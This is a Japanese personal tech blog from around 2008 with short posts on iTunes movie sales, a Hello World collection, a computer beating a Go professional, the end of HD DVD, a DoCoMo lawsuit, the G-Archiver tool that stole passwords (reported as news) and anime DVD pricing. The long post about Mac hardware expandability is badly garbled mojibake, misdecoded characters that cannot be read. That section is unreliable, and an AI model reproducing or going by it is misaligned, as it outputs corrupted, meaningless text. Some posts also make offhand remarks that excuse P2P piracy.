新たにiTunes Storeで販売が開始されるのは旧作だけでなく、これからDVDが発売される新作も含まれており、「クローバーフィールド」や「アイ・アム・レジェンド」といった最新の映画も、DVDの発売と同時にiTunes Storeでダウンロード購入が可能になる。これにより、iTunes Storeで購入できる動画は1500本以上(そのうち200本以上がHD動画)となるそうだ。



気になる価格の方だが、ダウンロード購入の場合新作は14.99ドル、一般作品は9.99ドル。レンタルの場合は新作が4.99ドル、一般作品は3.99ドルとのこと。レンタルの場合、再生可能期間がダウンロード後30日、再生開始後24時間に限定される。パソコンだけでなく、動画対応iPodやiPhone、Apple TVでの視聴も可能で、購入前にプレビューもできるそうだ。



なお、このサービスは米国のiTunes Storeでのみ利用可能。というか、日本のiTunes Storeでは映画の販売すら開始されていない。



てか、日本のアニメとかドラマとかもiTunes Storeで売れば結構売れると思うんだけどなー


力ワザHello World

Hello Worldコレクション | コラム | エンタープライズ | マイコミジャーナルが面白い。


一見、「色々な言語でとりあえず『Hello,World!』を実装してみただけのよくある企画だろ」とか思うんだけど、実はそれぞれの言語で濃い実装をしていたりして面白い。



たとえば、shでのHello,Worldで

#!/usr/bin/tail -1 ← tailコマンドを使ったスクリプト


Hello World ← ファイルの最終行にメッセージを直接記述

って、アレゲすぎだろ。

あと、C++での
#include

using namespace std;

class Hello { ← Helloクラスの定義
    public: ← 外部から操作できるようにpublicにする
        Hello() { ← コンストラクタの定義
            cout << “Hello World” << endl; ← メッセージを出力
        }
};

static Hello h; ← Helloクラスのオブジェクトを静的に宣言する

int
main()
{
    return 0; ← main()では何もせずにリターンする
}

とか。

普通に知らないテクニックありまくりで勉強になります。

Linux開発者が脱童貞に成功して話題に

ソースがGIGAZINEだしタイトルの訳が本当にあっているのか分からないしアレゲすぎるのでタレこまずにこっそりと。


Linux開発者が脱童貞に成功して話題に – GIGAZINE



元ネタはこちら。

BBspot – Linux Developer Gets Laid



PCの電源がブローしちゃったのでDVD買いに行くついでにBest Buy(アメリカの大手量販店)に行って、マトリックスのDVDを買ったらレジのお姉さんもマトリックス好きで意気投合したそうな。



そして面白いのがIRCでの反応の数々。



「もしほかの開発者がこれをまねようとしたら、沢山のプロジェクトが脱線するぜ! 無責任だ! Linuxやオープンソースへ貢献したくないのかw!」だって。



俺もマトリックス買いに行ってきますw



てか、原文だと”Get Laid”って書いてあるだけで、別に童貞かとかってまったく言及されていないんだけど、そういう意味もあるんですかね。自分の辞書だと、Get Laidは「(アレな意味で)寝る」という意味しか載ってないんだけど。


NGN

いまのNTT電話網の置き換えとして考えると歓迎すべきだけど、インターネット代替と考えると微妙だと思う。


手軽かつ低料金で、オンデマンドで専用線のような使い方ができるとか、企業ユーザーにとってはよいのではないでしょうか。



ただ、個人ユーザー的には映像伝送くらいしかメリットはないような気がするんだよね……。



ということで、多分しばらくはNGNを使うことはないでしょう。


コンピュータが囲碁でプロの棋士に勝利

コンピュータが人間のプロ囲碁棋士と勝負して勝利したそうだ。


コンピュータ囲碁がプロを相手に初勝利 – やねうらお?よっちゃんイカを買いに行ったついでに電子部品を買い漁る男 とか 2008-03-23 – 小宮日記 とかに詳しい情報が掲載されているが、コンピュータ側はINRIA(フランス国立情報学自動制御研究所)にあるスーパーコンピュータを数百台使用。人間側はルーマニア出身のタラヌ カタリン五段(35歳)。



9×9の盤面を使った試合を3試合と、19×19の盤面を使った試合を1試合行った結果、9×9ではタラヌ氏の二勝一敗、19×19ではタラヌ氏が勝利という形になった。



囲碁は将棋やチェスよりも手の選択肢が広いため、強い「コンピュータ棋士」を作るのは難しいとされていたが、今回は思考アルゴリズムとして並列化がしやすい「モンテカルロ法」を使用し、多数のノードを使用することが勝利につながった模様だ。



当然、盤面が広いほうがより選択肢が広まり、最適な手の選択も難しくなるため、一般的な19×19の盤面でコンピュータが人間に勝つのはまだ難しいと思われるが、今回の勝利は歴史的な快挙ともいえるだろう。



なお、蛇足ではあるがコンピュータ将棋は囲碁よりも指せる手に制約が多いため、現在ではプロ棋士をかなりのところまで追い詰めるところまで性能が向上している。そのため日本将棋連盟は、プロ棋士が公の場で連盟に無断でコンピュータ将棋と対局することを禁止する事態になっている。また、より制約の多いチェスでは、1997年にIBMのスーパーコンピュータが当時の世界チャンピオンを破っている。




音楽データを保存したUSBメモリにマイナスイオンを当てると音が良くなるらしいよw

元ねたは やじうまWatch


アコリバCD事件まとめwiki – トップページ に詳細があるのだけど、「オーディオアクセサリー」という雑誌の付録CDで音質向上機器の比較をやっていて、その「USBメモリにマイナスイオンを当てて音質向上」という装置を使った際の結果が意図的に改ざんされているんじゃないか、という話。



USBメモリにマイナスイオンって、その発想はなかったwww

まさにオカルト。

「ドコモの携帯端末似」のソフトバンク携帯端末、訴えられる

NTTドコモの ニュースリリースによると、NTTドコモはソフトバンクモバイルの携帯電話「かんたん携帯SoftBank 821T」が同社の携帯電話「らくらくホン」に酷似しているとして、その製造・販売差止めを東京地裁に申請した。


ソフトバンクモバイルの「かんたん携帯SoftBank 821T」は東芝製、NTTドコモの「らくらくホン」は富士通製だが、 ITmedia +D モバイルの記事 で公開されている記者会見の写真を見る限り、ぱっと見た限りの印象としてはどちらもそっくり。



といっても、NTTどこもの「らくらくホン」が特にオリジナリティのある端末というわけではなく、折りたたみ式+大きめの操作ボタン+液晶画面そばにプリセットボタン×3、という構成はほかの端末(たとえば auの簡単ケータイ A5528K など)でも見られるため、どこまでNTTドコモ端末の独自性が認められるかは難しいところだろう。



……このくらいのことで訴えるなんて、NTTドコモもケツの穴が小さいなぁ、と思ってしまうのは自分だけだろうか。だいたい、初めて「らくらくホン」系端末を作ったのはau+京セラなわけで、NTTドコモもそれをそのままパクっただけじゃないかと言いたいw




Gmailのアカウント情報を盗み出す、Gmailバックアップツールが登場。しかもシェアウェア

「G-Archiver」という、Gmailのバックアップソフト(シェアウェア)が、ユーザーのログインIDとパスワードをそのソフトの作者にメールでこっそり送信していたことが発覚。詳細は以下。


Coding Horror — G-Archiver gathers Gmail names and passwords | Technology | Guardian Unlimited

時間が無くてソース確認出来ねぇ(汗

/.もメンテナンス中かと思ったらw

/.、現在見事にレイアウト崩れ中
CSSのトラブルっぽいので一応全項目にアクセスはできるけど、かなりスクロールしないと情報にアクセスできんw



と思ったら、なんかFirefoxの不調っぽいw

こんな現象、初めてだよ・・・別にアップデートかけた覚えもないんだけどなぁ。



[追記@14:39]

なんかITmediaも崩れる。しかし、iGoogleとかImpress Watchtとかマイコミジャーナルは崩れない。なんじゃこりゃ。Firefoxをセーフモードで起動してもダメ。IETabならOK。いまいち問題の原因がつかめない・・・



[追記@14:46]

キャッシュ削除で復活。古いCSSファイルを読み込んでいたんでしょうか。とりあえずアンインストールとかやる前に気づいてよかった。

so-netブログが丸二日近く停止中ですか

So-net blogがメンテナンスのためサービス一時停止中で、既存のエントリを見ることすらできない状況に……。


別にどうでもよい気もしますが、以外にGoogleで調べものをしているときにヒットするのでちょっと不便。まぁキャッシュで見られるけど。



しかし、丸二日止まるならせめて既存エントリを見られるようにはしてほしかったなー

YesScript

指定した特定のWebサイトでJavaSrciptを無効化するFirefox拡張「 YesScript」を発見。


ホワイトリスト方式のJavaScript無効化ツール「NoScript」の逆の働き(ブラックリスト方式でブロック)なのでYesScriptだそうだ。



これでクソ重いmixiのスクリプトを無効化できます?(^o^)/



[追記@18:08]

mixiのJavaScript無効化したら他人の日記の写真を拡大表示できなくなったよ?(^o^)/

Googleが風○会社を買収か

TechCrunch Japanese アーカイブ ? Googleが風船会社を買収か


のタイトルを見て、一瞬「Googleが風俗会社を買収か」に見えたんだけど、違和感がなかった件について(汗



「あなたのGoogle検索履歴などから、あなたに最適な嗜好を分析して最適な女の子を提案!」



とか。最強すぎるよ、いろいろな意味でw



ちなみに、この風船会社「Space Data Corp」は、風船に無線基地局を搭載して飛ばすことで、インターネット回線が届いていないような僻地に無線インターネット接続サービスを提供するサービスを提供しているそうで。さすが広大なアメリカ、という感じのサービスですね。どこにでも電話回線が通っている日本では想像できませんが、海上や離島での高速通信向けとしては日本でも有望かもしれませんね。

HD DVDはなぜ負けたのか

麻倉怜士が分析–HD DVDはなぜ負けたのか? 歴史的考察:レビュー – ZDNet Japan


で、朝倉氏が分析している。ポイントとしては、


  • BDのほうが大容量
  • 旧来メディアをアップデートしたメディアは成功しない


というところ。旧来メディアをアップデートしたメディアがだめなのは、結局旧来メディアの特徴を引きずって新技術を導入しにくいから、という理由だからだ。

しかし、なんで東芝はBD陣営と話し合いを持ったときに和解しなかったんだろうねぇ・・・。HD DVDに絶対の自信があったのだろうか。

HD DVD終息

予想通りHD DVD終息。


しかし、 東芝、HD DVD事業撤退を正式発表 では「敗因は技術面ではない」といっているようで。



確かに技術面が決定的ではないのだが、多少は影響しているんじゃないっすかねぇ。BDよりもメディアは安いはずだったのに現状では大して価格差ないし。



本田雅一のAV Trends とか見る限り、HD DVD陣営が解決できないと予想していた傷・汚れ対策や生産コストの問題をBD陣営は技術で解決しちゃって、結局容量差以外は見えにくくなってHD DVD劣勢に追い込まれた気がしてならない。なんだかんだ言っても、2層で30Gと50Gの差はでかい。



しかし、 HD DVD報道について考える – コデラノブログ 3 でも言われているのだが、結局この戦いを終息に向かわせたのはハリウッドであって、日本ではBDが95%のシェアを持っていた、というところではないんだよね。結局BDが勝って日本的(&ソニー的)には一安心、というところだけど、状況によってはHD DVDが勝っていた可能性もあったわけで、そうなっていたらどうなっていたんでしょうかねぇ。



日本も技術力だけでは生きていけない時代になりつつあることを実感しましたよ。


HD DVD終了のお知らせ

今日17時から東芝が記者会見をやるそうで。
一応、「HD DVD事業及び半導体新棟立地についての説明会」らしいのでどうなるかは未確定だけど。



これでまだまだやる気だったらすごいのだがw

海外で日本と同じ価格でアニメDVDを売り出したらしいよ

genre: opinion


せいちにっぽん 現在放送中の「シゴフミ」「True Tears」のDVDが早くも米国で発売! 海外フォーラムでの反応 によると、

『シゴフミ』、5月27日から『True Tears』のDVDの北米発売を開始する。価格は、それぞれ2話収録で39.9ドル、1話収録で29.99ドルとなる。



と、アメリカで日本のアニメをほぼ日本と同価格で発売したそうな。それを聞いた海外のNerdたちの反応は予想通り、「高い」と「こんなん買わねぇ」とか。あと、「ここは日本じゃないぜ!」というセリフも。当然ですよねー。だって、海外では [アニメでもDVD6枚組とかのBOXが$40で買えちゃう][2] んですから。 [Amazon.com: Anime & Manga: Movies & TV: By Studio, Characters & Series, Boxed Sets, Feature Films & More][3] とか見てみると悲しくなれますよw。

[先のブログ][1] の記事コメントでは、「高いから買わないでP2Pで入手する」という海外フォーラムの反応を激しく非難されるコメントが続いている。でも、個人的にはいままで安い価格でアニメDVDを買えてたのに、いきなり値段Upされたんだから正当な反応だと思う。てか、高い価格で買ってしまうほうがむしろアホだと思えてしまう。

[2ちゃんねる実況中継 DVD単価比較][4] というまとめがあったのだが、アニメDVDの1話辺りの単価はまちまちで、もっとも安いので1000円前後。高いものだと4000円くらい。注意しなければならないのは、この単価はそのDVDの売り上げ(予想)に基づいて付けられているわけではないということ。たとえば、高い売り上げが予想できるガンダムの新シリーズ [機動戦士ガンダム00][5] は6000円で1話あたりの単価は1500円。

ちなみに、BD版の「機動戦士ガンダム 逆襲のシャア 」は税込み8,190円。「ザ・シンプソンズ MOVIE 劇場版 」は4,935円だ。どっちが売れそうかというと、ガンダムのほうが売れそうなのに。ちなみに、同じくアニメ映画の「秒速5センチメートル」は5,775円だ。

ということで、DVDなどの価格は「この値段でもファンが買ってくれる」値段が付けられていると予想されます。

これはこれでいいのかなー、という気もするのですが、お金のないファンにとってはつらいっすよね。だって、金銭感覚のおかしい一部の人が買っちゃうおかげでその値段で売っちゃうんだから。

自分としては、定価でTVなら1話当たり1000円前後、BDの映画なら4000〜5000円くらい、DVDの映画なら3000〜4000円が適正価格かなー、とか思うんですが、これに当てはまるものって少ないのよね。しょうがないのでレンタルに頼るという。

ということで、個人的には今回の試みは失敗してもらいたいなー、と思っております。ほしいものでも、高いものは買わないっすよー。


ひっそりとiPod touchの新モデルが出とるがな

genre: Mac,diary


iPod touchの32GBモデルが59,800円だって。ついでにiPhoneに16GBモデル($499)が追加だとさ。日本じゃ買えないけど。



全然どうでもよい話だけど、iPod touchをiTouchといい間違えている人がなんか回りに結構いる気がする。知名度はそんなものなのか?・・・

NGNってなんじゃらほい

genre: diary


NGN : ITpro を見て、やっとNGNのイメージがなんとか分かった気がする。ただ高速なIPネットワークを構築するだけじゃないのね。



しかし、NTT主導と聞くだけでなにか不安を感じるのは自分だけでしょうか・・・。



一般人としては上り/下りともに25Mbpsくらいで安定した速度が出てくれるネットワークがあればあと10年は大丈夫な気がするのですが、企業ユースではセキュリティとか帯域保証とかは重要なんでしょうな。



# 上り/下りともに250Mbpsくらいが安定して出るネットワーク環境があると色々と便利だよな




Xbox360の廉価新モデル来たー

genre: game,diary


Xbox 360の新エントリーモデル――「Xbox 360 アーケード」発売決定 – ITmedia News



2万7800円(税込)でHDMI出力対応、ワイヤレスリモコン搭載。HDDは搭載していないけど,Xbox Liveで有償配信されているゲーム5本付き。



PS3買う前にこれ出てたら買っちゃってたかもなー。



てかPS3のHDD、20GBからさっさと換装したほうがよいのだろうか。Oblivionって4GBくらいキャッシュ作るし、セーブデータ1個4MB×128個とかもあるんだよね・・・。




ハードウェアマニアはMacを買わないほうが良いと思う

genre:Mac,Opinion


å??éº?å¸?æ??ç??ã?®WatchTowerï??Macã??è¶?ã??ã?ªã??3ã?¤ã?®ã??ã?¤ã??ã?? (1/2) – ITmedia +D PC USER ã?§ï??


  • ã??ã??ã??ã?®äº¤æ??ã??ã?§ã??ã?ªã??ã??ã?¨ã??ã??ã??ã??ã??ã??ã?®é?¸æ??è?¢ã??å°?ã?ªã??
  • ã?©ã?¤ã??ã?¢ã??ã??ã??ã??ã?¤ã?¨ã??ã??å??ã??ã?¨ã??ã??ã?¨ã??ã??å??ã??ã??ã??ã?ªã??ã??ã??ã?®é??ã??ã?ªã??


ã?¨ã??ã??ç??ã?§Macã??æº?è¶?ã?§ã??ã?ªã??ã??ã?¨ã??ã??æ??è¦?ã??è¿°ã??ã??ã??ã?¦ã??ã??ã??ã??ã??ã??確ã??ã??ã??ã??ã?ªã?®ã??ã??ã??ã?ªã??ã??ã??ã??ã??ã??Macã??è¶?ã??ã?ªã??ã??ã?¤ã??ã??ã??ã?¨ä¸?è?¬å??ã??ã??ã??ã?¨æ¿?ã??ã??é??å??æ??ã??ã??ã??ã??ä??ã??ã?°ã??MacBookã?®æ?¡å??æ?§ã??ã?¤ã??ã?¦ã?¯ä??ä¸?ã?®ã??ã??ã??è¿°ã??ã?¦ã??ã??ã??

ã??

MacBookã?¯ã??Macã?¨ã??ã?¦ã?¯ä??å¤?ç??ã??HDDã?®äº¤æ??ã??å®?æ??ã??ã??ã??ã?¢ã??ã??ã??ã??ã?¦ã??ã?¶ã??ã?®æ??ã??ã??ã??HDD交æ??ã??èª?ã??ã?¦ã??ã??ã??ã??ã?§ã?¯ã?ªã??ã??ã??ã??ã?? Apple Storeã?®ã??ã??ã?¬ã??ã?¸ã?®é??ã??è¦?ã?¦ã??ã??MacBookç?¨ã?®äº¤æ??HDDã?¯æ??è??ã??ã??ã?¦ã??ã?ªã??ã??ã?¡ã?¢ã?ªã?®å¢?è¨?ã??交æ??ã??é?¤ã??ã??ã?¦ã??ã?¶ã??ã??ã??ã??ã??ã?¦ã?§ã?¢ã??ã?¢ã?¯ã??ã??ã??ã??ã??ã?¨ã?¯ã??ã?¡ã??ã??ã??ä¿?è¨?ã??æ??ã?ªã??è¡?ç?ºã?¨ã?ªã??ã??ã??ã??ã??ã?§ã??ã??ã??ã??ã??Windowsã??ã??ã??ã?®ã??è?ªä??PCã??ã??ä?¿ã?£ã?¦ã??ã??ã?¦ã??ã?¶ã??ã??ã?¨ã?£ã?¦ã??ã??ã??ã??ã??ã??ç¸?ã??ã??ã?¯ã??ã??ã??窮å±?ã??é??ã??ã?ªã??ã??


ï??ä¸?ç??ï??

ã??ç??è??ã??ä?¿ã?£ã?¦ã??ã??å??ä?£MacBookï??Blackï??ã??æ??è??ã??ã??DVDã??ã??ã??ã??ã??ã??ã??ã??ã?©ã?¤ã??ï??SuperDriveï??ã?¯ã??2層ã?¡ã??ã?£ã?¢ã?®è¨?é??ã??å¯?å¿?ã??ã?¦ã??ã?ªã??ã??ã??ã??ã?¯å¦?å??ã?§ã??ã??ã?®ã??ã??ã??è¨?é??å??2層ã?¡ã??ã?£ã?¢ã?®èª?ã?¿å?ºã??ã??ã??å¯?å¿?ã??ã?¦ã??ã?ªã??ï??ã??ã?¬ã??ã?¡ã??ã?£ã?¢ã?®èª?ã?¿å?ºã??ã?¯å?¯è??ï??ã??ã??ã??Windowsã?®ã??ã??ã??PC ã?ªã??ã??ç??è??ã?¯ã??ã?©ã?¤ã??ã??交æ??ã??ã?¦ã??ã??ã?£ã??ã?¨æ??ã??ã??ã??MacBookã?§ã?¯ã??交æ??ä??æ??ã??å?°é?£ï??å??ã??ã?¤ã??ã??ã??é??ã??ã??ã?¨ã??é?£ã??ã??ã??ï??ã?ªç??ä??ã??交æ??ç?¨ã??ã?©ã?¤ã??ã?®å??æ??æ?§ï??è??å??ã??ã??ã??ã??ã?¤ã??æ??å??ã?®å??å?¦ã??ã?©ã?¤ã??ã??ã?¢ã??ã??ã??è£?ã??ã?¡ã??ã??ã?¦ã?§ã?¢ï??ã?ªã?©ã?®ç??ã??ã??ã??ã??ã??ã??ã?¦ã??ã??ã?£ã??ã??


確ã??ã??ã??ã??ã?¯äº?å®?ã?ªã?®ã??ã??ã??Windowsæ??è??ã?®ã??ã??ã??ã??ã?¡ã??ã??ã??è£?ã??ã??ã??PCã?§ã?¡ã?¢ã?ªä??å¤?ã?®ã??ã??ã??ã??ã??ã?¨ã??ã?°HDDã??å??å?¦ã??ã?©ã?¤ã??ã??交æ??å?¯è??ã?ªã?¢ã??ã??ã?¯ã?©ã??ã??ã??ã??ã??ã??ã??ã??ã??ã??ä??ã??ã?°ã??Let’s noteã?ªã??ã??ã?¯ã?©ã??ã?¿ã?¦ã??å??å?¦ã??ã?©ã?¤ã??ã??ã?¦ã??ã?¶ã??ã?®æ??ã?§äº¤æ??ã?§ã??ã??ã??ã??ã??ã?¯ã?ªã?£ã?¦ã??ã?ªã??ã??

ã??ã??ã??iMacã?¯ã?©ã??ã?ªã??ã??ã??ã?¨ã??ã??話ã??ã?ªã??ã??ã??iMacã?®æ¯?è??å¯?象ã?¨ã??ã?¦ã??ã??ã??ã??ã??ã??ã?¯ã??ã??ã??PCã??å?ºã??ã?®ã?¯é??ã??ã??ã??ã??ã??iMacã?¨æ¯?è??ã??ã??ã??ã?ªã?®ã?¯ã??æ??è¿?å£?ã??ç??ã?®æ¶?æ?¶ä¸?ä??å??ã??ã??ã??ã?¯ã??PCã??ã??å??ç?¶ã??ã??ã??ã??ã?®ã?¢ã??ã??ã?®æ?¡å??æ?§ã?¯iMacã?¨ä??ã??ã??å¯?ã?£ã??ã??ã??ã??ã?¡ã?ªã?¿ã??ã??iMacã??ã?¡ã?¢ã?ªä??å¤?ã?®äº¤æ??ã?¯å?¬å??ã??ã?¯ä¸?å?¯ã??ã??ã??å®?ã?¯ã??ã??ã??ã??ã?®å??解ã??ã??ã??ã??ã??ã??ã??ã?°HDDã??CPUã?®æ??è£?ã??å?¯è??ã??ã??

Mac Proã?ªã??å??ç?¶è?ªç?±ã??HDDã??ã?¡ã?¢ã?ªã??交æ??å?¯è??ã??ã??ã??ã??ã??ã??ã?¤ã??ã?¦ã?¯ã??ã??è¿°ã??ã??ã??ã?¦ã??ã??ã??

ã??

ã?¢ã??ã??ã??ã??ã?¯ã??ã?¯ã??ã??ã??ã??ã?§ã??ã?¨ã??ã?¦è?©å£?ã??ã??Mac Proã?¯ã??ã??ã??ã??ã?¦ã?§ã?¢å??é?¨ã?¸ã?®é??ã??ã?¢ã?¯ã??ã??æ?§ã??1ã?¤ã?®ã?¦ã?ªã?¨ã?ªã?£ã?¦ã??ã??ã??ã?¡ã?¢ã?ªã?®å¢?è¨?ã??HDDã?®å¢?è¨?ã??å??å?¦ã??ã?©ã?¤ã??ã?®å¢?è¨?ã??ã?°ã?©ã??ã?£ã??ã?¯ã??ã??ã??ã??ã?? RAIDã??ã??ã??ã?®ã?¤ã??ã??ã??ã??ã??ã?ªã?©ã??å®?æ??ã??ã?§ã??ã??ã??ã??ã??ã??ã??ã??ã??ã??ã?¨ã??ã?£ã?¦ã??ã??ã??ã?¦ã?§ã?¢æ§?æ??ã??è?ªç?±ã??é?¸ã??ã??ã??ã?¨ã??ã??ã?¨ã??å¿?ã??ã??ã??ã??ã??ã?§ã?¯ã?ªã??ã??ã?¢ã??ã??ã??ã??ã??ã??ã??ã??ã??ã??ç??ã?¿å??ã??ã??ã??è¨?ã??æ??ã??ã??ã?°OSã??ã??ã??ã??ã??è¡?ã??ã??ã??ã??ã??ã??ã?¦ã?§ã?¢ã?®æ§?æ??ã??ã?¯ä¸?å®?ã?®å?¶ç´?ã??ã??ã??ã??ä??ã??ã?°RAIDã??ã??ã??ã??ã??ã??ã??ã??ã??ã??ã?®ã?¯Mac OS Xã?®ã?¿ã?§ã??Boot Campã?§ã?¯ã??ã??ã??ã??ã??ã??ã?ªã??ã??


ï??ä¸?ç??ï??

ã??ã??ã?®ç¨®ã?®å??é¡?ã?§æ??ã??è?°è??ã??ã?ªã??ã??ã??ã?ªã?®ã??ã??Mac Proã??ã??ã??ã??ã?°ã?©ã??ã?£ã??ã?¯ã??ã??ã??ã??ã?®äº?æ??æ?§ã??ã??ã?¢ã??ã??ã??ã?®å?¬å??è¦?解ã?¨ã??ã??ã?®ã?¯ã??ã??å?ºã?¦ã??ã?¦ã??å??ç¤?ã??æ??ä??ã??ã??ã?°ã?©ã??ã?£ã??ã?¯ã??ã??ã??ã??ã?¯ã??ã??ã?®ã??ã??ã??ã??æ??ä??ã??ã??ã??ä¸?ä?£ã?®Mac Proã?®ã?¿ã?§ã?®ã??ã??ã??ã??ã?¨ã?ªã??ã??å??æ??ã??æ

?°ã??ã??Mac Proã?¨å??æ??ã??ã??ATI Radeon HD 2600 XTã??NVIDIA GeForce 8800 GTã??NVIDIA Quadro FX 5600ã?®3種é¡?ã??ç??å?´ã??ã??ã??ã??ã??ã??ã??ã?®ã??ã??ã??ã?¯2006å?´ã??ã?ªã?ªã??ã??ã??ã??ã??å??ä?£Mac Proã?§ã?¯ã??ã??ã??ã??ã??ã??ã?ªã??ã??





ã??ã??ã??Mac OS Xã?§å?©ç?¨ã?§ã??ã??ã??ã??ã??ã?®é?¸æ??è?¢ã??å°?ã?ªã??ã?®ã?¯äº?å®?ã??ã??ã??ã??ã??å¤?ä??ã??ã?®ã??ã??ã??ã??ã?£ã??ã?¯ã??å??å?¦ã??ã?©ã?¤ã??ã??ã??ã?¦ã??ã??ã??ã??ã??ã??ã??ã?¨ã??ã?£ã??ã?¡ã?¸ã?£ã??ã?ªã??ã??ã?¤ã??ã?¯ã??ã?¨ã??ã?©Mac OS Xã?§ã??å?©ç?¨ã?§ã??ã??ã??Linuxã??ä??ç?¨ã??ã?¦ã??ã??è?ªå??ã?¨ã??ã?¦ã?¯Windowså??ã??ã?®ã??ã??ã??ã?¦ã?§ã?¢ã??Windowsä??å¤?ã?§ã?¯æ?£ã??ã??å??ã??ã?ªã??å?¯è??æ?§ã??é??ã??ã?¨ã??ã??ã?®ã?¯å¸¸è??ã??ã?ªã?£ã?¦ã??ã??ã??ã??Macã?§ã?°ã?©ã??ã?£ã??ã?¯ã??ã??ã??ã??ã??ã?¦ã??ã??ã??ã??ã??ã??RAIDã??ã??ã??ã?¨ã??ã?£ã??æ?¡å??ã??ã??ã??ç??ã??ã??ã?¤ã??ã??è¿?å??ã??ã??ã??ã?¨ã??ã??é??è¦?ã?¯æ??ã??ã??ã?¦ã?©ã??ã??ã??ã??ã??ã?®ã??ã??ã??ã??ã??



è¨?äº?å??ã?®æ??ã??ã??ã?¨ã??Appleã??æ?ªã??ï??ã??ã?¨ã??ã??å?°è±¡ã??å??ã??ã??ã?®ã??ã??ã??ã?©ã?¡ã??ã??ã?¨ã??ã??ã?¨ã??ã??ã??ã?¯ã??ã?©ã?¤ã??å?´ã?®å??é¡?ã??ã??Appleã??ç´?æ?£ã??ã?©ã?¤ã??ã??å?ºã??ã?ªã??ã??ã?¨ã??ã??ã??ã??ã?§ã??ã?£ã?¦ã??ã??ã??ã?¯Appleã?®æ?¦ç??ã?ªã?®ã??ã??ã??ã??ã??ã??ã??ã?ªã??ã??Windowsã??ã?£ã?¦ã??MSç´?æ?£ã??ã?©ã?¤ã??ã??ã??ã??ã??ã??ã??ã?¯é??ã??ã??ã?¦ã??ã??ã??



è?ªå??ã??ä¸?ç??ç??å??ã?ªã?®ã??ã??ã??BootCampç?°å¢?ç?¨ã??ã?©ã?¤ã??ã??ã??ã??è¨?äº?å??ã?§ã??ã?®è©±é¡?ã??ã??ã??ã??ã??å?ºã?¦ã??ã??ã?®ã??ã??ã??BootCampç?°å¢?ã?¨ã??ã??ã?®ã?¯é??常ã?®Windowsç?¨ã?®ã??ã?®ã?¨ã?¯ç?°ã?ªã??ã??ã?©ã?¤ã??ã??å¿?è¦?ã?ªã?®ã??ã??ã??ã??ï??ã??Windowsã??è??å??ã??ã?¦ã??ã??ã??ã?°ã??é??常ã?®Windowsç?¨ã??ã?©ã?¤ã??ã?§ã??ã??ã??ã?¯å??ä??ã??ã??ã?¨æ??ã??ã?®ã??ã??â?¦â?¦ã??



ã??ã??ã??ã??ã?©ã?¤ã??ã?¢ã??ã??ã??ã??ã?¤ã?¨ã??ã??å??ã??ã?¨ã??ã??ã?¨ã??ã??å??ã??ã??ã??ã?ªã??ã??ã?¨ã??ã??ç??ã??ã?¤ã??ã?¦ã?¯ã??ä¸?è¨?ã?®ã??ã??ã??è¿°ã??ã??ã??ã?¦ã??ã??ã??

è?ªä??ã?¦ã??ã?¶ã??ã?§ã?¯ä¸?è?¬ç??ã?ªæ?¡å??æ?§ã??å?ªã??ã??ã??ã??ã??ã?¿ã?¯ã??ã?¯ã?©ã??ã?®æ??ã??ã??ã?ªã?¢ã??ã??ã??ã??ã??ã??ã?¨ã??æ¬?ã??ã??ã?¨ã??ã??ã??



æ®?å¿?ã?ªã??ã??ã??Mac OS Xã?¯è?ªä??ã??ã??ã??å??ã??ã?®OSã?§ã?¯ã?ªã??ã??ã??ã??ã??ã?¿ã?¯ã??ã?¯ã?©ã??ã?®æ??ã??ã??ã?ªã?¢ã??ã??ã??Appleã??å?ºã??ã?ªã??ã?®ã?¯ã??Appleã??ã??ã?®å±¤ã??ã?¿ã??ã??ã??ã??ã??ã??ã?¦ã??ã?ªã??ã??ã??ã??ã??å??ã??ã??è¿°ã??ã??ã??ã??ä¸?è?¬ç??ã??Macã??å?©ç?¨ã??ã??ã?ªã??ã??ã??ã??ã??ã?¦ã?§ã?¢ã??æ?¡å??ã??ã??å¿?è¦?ã?¯ã??ã?¨ã??ã?©ã?ªã??ã??å??å?¦ã??ã?©ã?¤ã??ã??ã??ã??ã??ã??ã?£ã??ã?¯ã??ã??ã??ã?¦ã??ã??ã??USBã?§æ??ç¶?ã??ã??ã?°é??ã??å??ã?£ã?¦ã??ã??ã??ã??ä??ã??ã?°ã??ã??ã??ã??ã??ã?¯ã?®æ?§è??ã??å??ä¸?ã??ã??ã??ã??ã??3Dã??ã??ã??ã??ã?¬ã??ã?¬ã??ã??ã??ã?¬ã?¤ã??ã??ã?¨ã??ã??ç?®ç??ã??ã?£ã??ã??å??ã??ã??ã??ã??ã??ã??ã??ã?¦ã??ã?¶ã??ã?¯Mac OS Xã??ä?¿ã??ã?ªã??ã??ã??ã??ã??
ã??ã??ã??æ?ªã??ã??Macã?¯ã??ã??ã??å??å?¦ã?®å??ã??ä??ã??ã??ã?¦ã??ã??ã??ã??ã??ã?¨ç?¸å®?ã??ã?ªã??人ã??å??å?¨ã??ã??ã??ã??ã??ã??ã??ã??ã?§ã??ã??ã??ã??ã??ã??ã??Macã?®ä¸?ç??ã??ã??ã??ã?¦ã?¯ã??ã?¦ã??ã?¶ã??ã??ã??ã??ç¨?度Macã?®ä??æ§?ï??å??ç??å??ã??ã??å??å?¦ï??ã??å??ã??ã??ã??ã??ã??å??ã?ªã??ã??ã??ã??ã??è?¦ç??ã?ªäººã??ã?©ã??ã??ã?¦ã??ç?¸å®?ã??ã?ªã??ã??ã??ã??ã??ã?®ã??ã??人ã??ã?¯é?£ã??ã??ã??ã?©ã??ã??ã??ã?©ã??ã??ã??ã?¨æ??ã??ã??ã??ã?®ç??ã??å?ºæ??ã?®å??å?¦ã??æ??ã??ã?ªã??Windowsã?®æ??ã??ä¸?人å??ã??ã??ã??ã??ã??ã?ªã??ã??


ã?¨ã?®ã??ã?¨ã??ã??ã??Macã?®å??å?¦ã?¯ã??ã??ã??ã??ã??ã??ã?§ã??ã??ã??ã??ã??ä?¿ã??ã??ã??ã??ã??ç?´æ??ç??ã??å?©ç?¨ã?§ã??ã??ã??ã??ã??ã??ã??ã??ã??ã?¨æ??ã??ã??決ã??ã?¦ã??ã??ã??ã?®ä¸?ã?®ã??ã??ã?¦ã?®ã??ã??ã??ã??å??ä??ã??ã??ã??ã??ã?§ã?¯ã?ªã??ã??Macã?¯ã??ã??ã??ã?¦ã?§ã?¢ã??ã??ã?¢ã??æº?è¶?ã??ã??ã??ã??ã??ã??ã?¯ä??ã??ã??ã?¦ã??ã?ªã??ã?®ã??ã??Windowsã?®æ??å??ã??ã??Macã??æ??ã?¡è??ã??ã?§æ¯?è??ã??ã?ªã??ã?

§ã??ã??ã??




au

genre:diary,mobile


